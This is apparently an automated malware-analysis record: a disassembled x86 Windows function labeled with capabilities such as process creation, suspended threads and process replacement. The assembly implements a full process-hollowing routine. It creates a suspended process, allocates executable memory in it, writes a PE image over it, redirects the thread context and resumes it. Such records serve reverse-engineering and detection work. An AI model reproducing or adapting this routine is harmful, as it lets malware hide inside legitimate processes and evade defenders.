Function at 0x10003710
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x1000399f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
call fcn.10003694
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
call fcn.10002424
mov dword [ebp - 0x1c], eax
xor edx, edx
push ebp
push 0x1000397f
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x54]
mov edx, dword [ebp - 0x18]
lea esi, [edx + 0x18]
mov edx, dword [ebp - 0x18]
movzx edx, word [edx + 0x14]
add esi, edx
mov edx, dword [ebp - 0x18]
movzx edi, word [edx + 6]
dec edi
test edi, edi
jb 0x100037a3
inc edi
xor ebx, ebx
lea edx, [ebx + ebx*4]
cmp eax, dword [esi + edx*8 + 0x14]
jbe 0x1000379f
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x14]
inc ebx
dec edi
jne 0x1000378f
mov ecx, eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
call fcn.10003564
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x54]
call fcn.10003674
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jb 0x10003848
inc edi
xor ebx, ebx
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x10]
test eax, eax
jbe 0x10003822
lea edx, [ebx + ebx*4]
lea edx, [ebx + ebx*4]
cmp eax, dword [esi + edx*8 + 8]
jbe 0x100037f4
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
lea edx, [ebx + ebx*4]
mov edx, dword [esi + edx*8 + 0x14]
add edx, dword [ebp - 4]
mov ecx, eax
mov eax, dword [ebp - 0x14]
call fcn.10003564
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x38]
call fcn.10003674
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
jmp 0x10003844
lea eax, [ebx + ebx*4]
cmp dword [esi + eax*8 + 8], 0
je 0x10003844
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x38]
call fcn.10003674
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
inc ebx
dec edi
jne 0x100037d6
lea eax, [ebp - 0x13c]
mov edx, 0x44
call fcn.1000356c
lea eax, [ebp - 0xe8]
mov edx, 0xcc
call fcn.1000356c
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x13c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x140]
xor eax, eax
call fcn.10002654
mov eax, dword [ebp - 0x140]
call fcn.100030cc
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov dword [ebp - 0xe8], 0x10007
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 0xf4]
push eax
call sub.kernel32.dll_GetThreadContext
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x44]
add eax, 8
push eax
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_ReadProcessMemory
push 0x40
push 0x3000
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_VirtualAllocEx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0xc]
push eax
push 4
mov eax, dword [ebp - 0x18]
add eax, 0x34
push eax
mov eax, dword [ebp - 0x44]
add eax, 8
push eax
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 0xf4]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0xf4]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x10003986
mov eax, dword [ebp - 0x1c]
push eax
call fcn.100032ac
pop ecx
ret